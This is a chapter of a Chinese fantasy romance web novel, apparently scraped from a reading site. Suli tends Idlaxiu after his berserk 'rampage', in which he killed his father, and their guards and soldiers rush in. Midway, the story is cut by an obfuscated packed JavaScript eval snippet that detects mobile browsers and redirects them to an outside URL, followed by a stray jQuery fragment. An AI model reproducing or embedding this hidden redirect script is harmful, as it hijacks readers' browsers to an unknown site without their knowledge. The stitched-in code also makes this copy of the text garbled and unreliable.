11. 误会
作品:《间谍,但和对方老大在一起了[西幻]》 “什么地方都找过了吗?”老者看着巴尔德声泪俱下,连忙从床上起身,麻利地披上外套。
“都找过了,我刚刚让人又找第二遍。”巴尔德抹了一把泪,声音难免哽咽。
“那就继续找,不到最后一刻,就不能放弃。”老者和巴尔德一起加入找人浪潮中。
虽然他回答的坚定,但老者心下有些拿不准。
今天下午,黄昏时刻。
金色的夕阳伴着风,齐齐落入伊德拉修眼眸中。
“老师,这样就可以确保进入‘暴走’了,对吧。”
“是的,伊德拉修大人……事情一定要这样吗?大人。”
“如果不借助‘暴走’,以现在的实力,我是无法赢过父亲的,但我必须……”
“‘暴走’太伤害身体了,其实可以缓一缓的。”他虽然希望大人可以帮阿萨族报仇雪恨,但是,如果代价是大人的健康的话。
他愿意花些时间,再等一等。
伊德拉修没再回答,他清楚,心中的大山早就压垮他了……他没有时间再去拖延。
北方大陆迟迟没有被攻下,有这样一个重要的原因:阿萨族的战士可以用特制的草药唤起身体的‘暴走’,除了会稍微损害健康,没有任何其他‘暴走’的后遗症。
‘暴走’的阿萨族战士以一敌十,神勇无比。
这是玛雅女神对阿萨族在斩杀芬里尔狼战役中英勇表现的奖赏。
每一个阿萨族人都会在成年时吞下特制草药,开启‘暴走’,第二天,你安然无恙。这就表明,你通过了女神的考验,正式成为阿萨族勇敢的战士。
这是伊德拉修第一次‘暴走’。
老者在心里苦苦祈祷,女神保佑他。
夜色茫茫,家主府经过喧嚣的一夜。
苏尔睡得不好,很不好,整个脖子都酸疼难忍,艰难地睁开双眼,她正以一个奇怪的姿势爬睡在床边,这样睡,不落枕了才怪……
一觉醒来,外头春光大好。苏尔边替自己捏肩,边看向躺在床上,还没有醒的伊德拉修。
心下思考着,这人还是还给家主府比较好,要是死在她手里,她就是有一万张嘴也说不清啊。
况且,昨晚她还杀了个人,还不是个一般人。
怎么还呢?
唉,都怪自己昨晚脑子莫名其妙地抽了,把这个烫手山芋给带回来。
苏尔还没有束发,乌黑的长发如墨一样的洒下,她苦恼地托腮,好看的眉毛也拧在一起。
伊德拉修悄悄睁眼就看见这一幕,苏尔嘀嘀咕咕,樱色的嘴唇一张一合……几乎可以闻到她身上淡淡的香气。
体温升高,伊德拉修在心里唾弃自己,双耳通红。
一道莫名的视线注视着自己,苏尔转过头,瞥见一脸心虚的伊德拉修,他什么时候醒的?
“醒了就把眼睛睁开,虚眼睛干嘛。”苏尔站起身,活动了一下。
“谢谢你救了我。”伊德拉修努力扯出自认为最好的微笑。
“谢就不用说了,就当咱俩扯平了。”苏尔倒了一杯温水放在床头,耐心地问:“可以下床走路吗?需不需要我帮你叫人过来。”
“差不多吧……苏尔使者,昨晚到底发生了什么?”伊德拉修捂住还在隐隐作痛的头。
“你……全都不记得?”
苏尔脑海中闪回记忆,手上小小的伤口已经结疤,长出嫩粉色的新肉,还有些痒……
不记得了,挺好的。苏尔下意识地把手收在身后。
“你昨晚,杀了……很多人。”苏尔努力地措辞,不想让话过于伤人,毕竟对于伊德拉修来说,他就如同一觉醒来然后发现自己杀了父亲。
这对任何人来说,都是个不小的打击。
“我杀了我的父亲,对吗。”伊德拉修无比淡定的语气,倒是让苏尔措手不及。
“啊?嗯……不过,你当时都‘暴走’了,估计也不知道什么情况。”干巴巴的安慰后,空气下一秒安静了好久。
好吧,自己果然不会安慰别人。
“谢谢你,你在安慰我,我知道。”伊德拉修的脸在阳光照耀下,阴影和阳光交错,显得隐晦不清,原本的笑容更是显得惨淡。
不过,他这样的人不需要安慰。他做这样的事是他心甘情愿的,这样的人不配得到安慰。
是他不配得到安慰。
伊德拉修痛苦地掩面,把真相告诉她,他不配……可终究没有开口,或许他早已残破不堪的心无法拒绝这甘泉般的温情……他流下泪来。
“我根本就没做什么,是你自己挺过‘暴走’的,不得不说,你真的挺厉害的。”眼见形势不妙的苏尔,企图强行转移话题。
“真的,我在王都听别人说,能扛过‘暴走’的人那是少之又少。”
“那什么,你要不喝口水吧……”手忙脚乱的苏尔越说越小声。
“我一整晚都在‘暴走’。”伊德拉修拆分字句,得出一个不可思议的结论。苏尔居然和‘暴走’的人待了一整晚,哪怕那个人是他。
“你昨晚不应该救我,‘暴走’的人好斗、暴掠、精神失控……你怎么可以和还在‘暴走’的人待在一间房,他会伤害你的……你不该救我的。”
我会伤害你的。
他无法接受这样的结果。
苏尔彻底被眼前的人弄懵了,说话颠三倒四,前言不到后语。
她上前一步,伸手抚上一脸焦急人的额头,另一只手则摸上自己额头,感受着两人体温,疑惑开口:“这也没有发烧啊,怎么感觉脑袋稀里糊涂的,不会是‘暴走’的后遗症吧。”
‘暴走’活下来的人太少了,就连亚尔圣庙对其的研究还不充分。苏尔认为自己有必要把眼前的例子告诉伊密尔老师,说不定,就能取得突破性进展。拯救更多人的性命。
苏尔的手带着凉意,带来的感觉实在突兀,伊德拉修的瞳孔颤抖……
原本混混沉沉的大脑,现在完全清醒。
杜鹃花林,一夜大雨,满地残花。
确认伊德拉修没有什么大碍后,苏尔不厌其烦地又问了一句:“真的不用帮你找人?你自己可以走吗?”
“找人?”伊德拉修满脸困惑,残留的疼痛还在脑海中。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097331|163744||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏尔耸了耸了肩,一脸无所谓地走向窗户,拉开,冲向窗外杜鹃林一声大吼:“救命啊!”
下一秒,杜鹃花林窜出两个黑影,直接飞身进窗户,落在苏尔面前,呈现绝对的保护姿态。
再看清来人后,在场除了苏尔,三脸震惊,说不出话来。
苏尔从黑衣人身后绕出来,双手一摊,朝着伊德拉修无奈地说:“这是你给我安排的人吧。”
又转过头对那两人说:“这是你们老大吧?”
那两人如梦初醒,连连点头,其中一人不解地问:“大人,您怎么在这里啊?”
另一个人却一眼就瞥到伊德拉修裸露的右臂,赶忙捂住想再开口之人的嘴,讪笑几声说:“打扰了,打扰了,大人您们继续,继续。我们是空气。”
“您们继续,继续。”边说边就把个不明就里的人给拽出房门,利落地关了门。
苏尔一头雾水,疑惑地看向伊德拉修,默默开口:“这……就是你的兵啊……不,你的下属?”几次涌到嘴边的话,她又给咽回去了,面对病人,语言还是得委婉些。
伊德拉修急忙想要开口解释,然后就被口水呛到,剧烈咳嗽了几声,面色通红。
那两人刚一出房门。
“戈恩,你捂住我嘴干嘛!”戈雷一脸不解,“大人,还没有让我们退下呢。”
“你是不是笨啊?你没看见大人在和苏尔使者干嘛啊!”戈恩狠狠在戈雷头上敲了一下。
“干什么?”
看着自己弟弟一脸蠢相的脸,戈恩气不打一处来:“不是让你多多观察吗?眼睛不用就别要了,你没发现,咱们大人的终身大事可能就要解决了。”
说完,欣慰地摸了摸眼角并不存在的泪;“大人长大了。”
戈恩自说自话,戈雷还是听得云里雾里,心一横道:“不行,我还是要回大人身边,万一大人有危险怎么办。”转头就往回走。
俩兄弟拉扯之间,一道“金黄色闪电”不知道从哪里突然出现,然后以迅雷不及掩耳之势从俩兄弟身旁窜了过去。
?
什么东西?老鼠?
“巴尔德,你跑慢点啊。”苍老的声音气喘吁吁,是老者。
而随之跟在老者身后的,俩兄弟咽下口水……后面,是乌泱泱的一群穿戴整齐,全副武装的士兵。
“这、这是什么情况?”求婚也不该是这样啊?戈恩连忙拦下老者,势必要问个清楚。
“老师,这是什么情况啊!你别光喘气啊,说话啊。”急得满头大汉的戈恩摇晃着自己的亲亲老师。
“臭小子,你不在伊德拉修大人身边保护着,你在这里干嘛!”老者稳住身形,快准狠的用拐杖打向戈恩的膝盖,“翅膀硬了啊!还敢摇老师。”
“什么都别说了,快……快快,还不快去阻止巴尔德!”
那个“金黄色闪电”是巴尔德!
怎么又有那个小屁孩的事,戈恩吃痛地捂住膝盖,跳跑着向前追。
电光火石之间,房间传来一声巨大的尖叫。
“啊!”
不好,是巴尔德。